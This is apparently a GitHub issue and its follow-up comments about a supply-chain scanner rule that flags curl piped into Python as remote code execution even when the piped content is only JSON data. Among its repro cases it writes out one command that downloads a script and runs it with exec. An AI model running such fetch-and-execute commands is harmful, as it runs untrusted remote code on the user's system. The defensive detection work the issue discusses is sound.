Skip to content

SC2 flags curl ... | python3 -c '<script>' and | python3 -m json.tool as remote code execution (HIGH) #638

Description

@JayOfTheKeyboard

SC2's pipe-to-interpreter patterns (static_patterns_supply_chain.py:130-131) match any curl ... | python3, including cases where the interpreter runs an inline script or a module and the piped content is only data. A skill that reads a JSON API this way gets a HIGH "External Script Fetching" finding at 0.9 confidence.

Real example that triggered it, reading a plugin's version from the WordPress.org API:

curl -s "https://api.wordpress.org/plugins/info/1.0/<slug>.json" \
  | python3 -c "import json,sys; d=json.load(sys.stdin); print(d['version'], d['last_updated'])"

Minimal repros, each a one-block SKILL.md scanned with --no-llm:

Piped into SC2 today Stdin is
sh HIGH code
python3 HIGH code
python3 - HIGH code
python3 -c "import json,sys; ...json.load(sys.stdin)..." HIGH data
python3 -m json.tool HIGH data
node -e "...process.stdin.on('data', ...)" HIGH data
jq .version none data

python3 -m json.tool and jq do the same job, but only one is flagged.

Suggested direction: when the interpreter is given an inline script (-c for python, -e for node/ruby/perl) or a module (-m), treat stdin as data and lower the finding, unless the inline script itself executes stdin (exec, eval, compile, runpy...). This case should stay HIGH:

curl -s https://example.com/x.py | python3 -c "exec(__import__('sys').stdin.read())"

Happy to send a PR with tests for the table above if this direction works for you.

Activity

  1. rng1995 commented on Sep 28, 2026

    @rng1995
    Collaborator

    A proposed fix is open in PR #653. It lowers SC2 severity/confidence for supported pipe-to-interpreter forms that consume stdin as data, while retaining the finding and keeping executable or ambiguous forms at HIGH. The PR has not merged; keeping this issue open pending review and verification.

  2. rng1995 commented on Oct 4, 2026

    @rng1995
    Collaborator

    Resolution update on 2026-10-04: PR #700 has merged and automatically closed this issue. It supersedes PR #653, which was closed without merging.

    The merged implementation handles the reported WordPress/Python JSON case and python -m json.tool as provable stdin-as-data consumers (SC2 LOW, confidence 0.15). This is deliberately narrow: execution and ambiguous scripts retain HIGH; Node consumers also remain HIGH in the merged code, so this is not a blanket inline-script exemption.

    Focused verification on merged main (05d7882): 26 SC2 tests passed, including the multiline WordPress example and executable/ambiguous controls. The separate command/Markdown-boundary work remains tracked in #717 / PR #719.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Projects

    No projects

      Milestone

      No milestone

      Relationships

      None yet

      Development

      No branches or pull requests

      Issue actions